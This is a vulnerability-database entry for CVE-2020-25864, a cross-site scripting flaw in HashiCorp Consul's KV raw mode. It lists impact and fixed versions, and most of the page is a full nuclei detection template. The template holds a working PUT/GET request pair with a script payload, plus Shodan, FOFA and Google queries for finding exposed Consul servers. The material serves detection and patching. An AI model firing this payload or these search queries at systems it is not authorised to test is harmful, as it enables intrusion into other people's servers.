Browse / CVEs / CVE-2020-25864
CVE-2020-25864· hashicorp / consul· CWE-79
HashiCorp Consul/Consul Enterprise <=1.9.4 - Cross-Site Scripting
mediumseverity
6.1CVSS score
6.1%likelihood of exploitation, next 30 days
93%of all CVEs are less likely
Readycheck to confirm it
HashiCorp Consul and Consul Enterprise up to version 1.9.4 are vulnerable to cross-site scripting via the key-value (KV) raw mode.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected Consul/Consul Enterprise application.
Fix
Fixed in 1.9.5, 1.8.10 and 1.7.14.
How to confirm it
Send: PUT {{BaseURL}}/v1/kv/{{randstr}} ; GET {{BaseURL}}/v1/kv/{{randstr}}%3Fraw
Positive when: contains in header "text/html" AND contains in body_2 "<!DOCTYPE html><script>alert(document.domain)</script>" AND status 200Run it with nuclei: nuclei -id CVE-2020-25864 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2020-25864
info:
name: HashiCorp Consul/Consul Enterprise <=1.9.4 - Cross-Site Scripting
author: c-sh0
severity: medium
description: |
HashiCorp Consul and Consul Enterprise up to version 1.9.4 are vulnerable to cross-site scripting via the key-value (KV) raw mode.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected Consul/Consul Enterprise application.
remediation: Fixed in 1.9.5, 1.8.10 and 1.7.14.
reference:
- https://discuss.hashicorp.com/t/hcsec-2021-07-consul-api-kv-endpoint-vulnerable-to-cross-site-scripting/23368
- https://www.hashicorp.com/blog/category/consul
- https://nvd.nist.gov/vuln/detail/CVE-2020-25864
- https://security.gentoo.org/glsa/202208-09
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2020-25864
cwe-id: CWE-79
epss-score: 0.06068
epss-percentile: 0.93447
cpe: cpe:2.3:a:hashicorp:consul:*:*:*:*:-:*:*:*
metadata:
max-request: 2
vendor: hashicorp
product: consul
shodan-query:
- http.title:"consul by hashicorp"
- cpe:"cpe:2.3:a:hashicorp:consul"
fofa-query: title="consul by hashicorp"
google-query: intitle:"consul by hashicorp"
tags: cve,cve2020,consul,xss,intrusive,hashicorp,vuln
http:
- raw:
- |
PUT {{BaseURL}}/v1/kv/{{randstr}} HTTP/1.1
Host: {{Hostname}}
<!DOCTYPE html><script>alert(document.domain)</script>
- |
GET {{BaseURL}}/v1/kv/{{randstr}}%3Fraw HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: header
words:
- text/html
- type: word
part: body_2
words:
- <!DOCTYPE html><script>alert(document.domain)</script>
- type: status
status:
- 200References
- https://discuss.hashicorp.com/t/hcsec-2021-07-consul-api-kv-endpoint-vulnerable-to-cross-site-scripting/23368
- https://www.hashicorp.com/blog/category/consul
- https://nvd.nist.gov/vuln/detail/CVE-2020-25864
- https://security.gentoo.org/glsa/202208-09
- https://github.com/ARPSyndicate/cvemon
Use this check only on systems you are authorised to test. Where the data comes from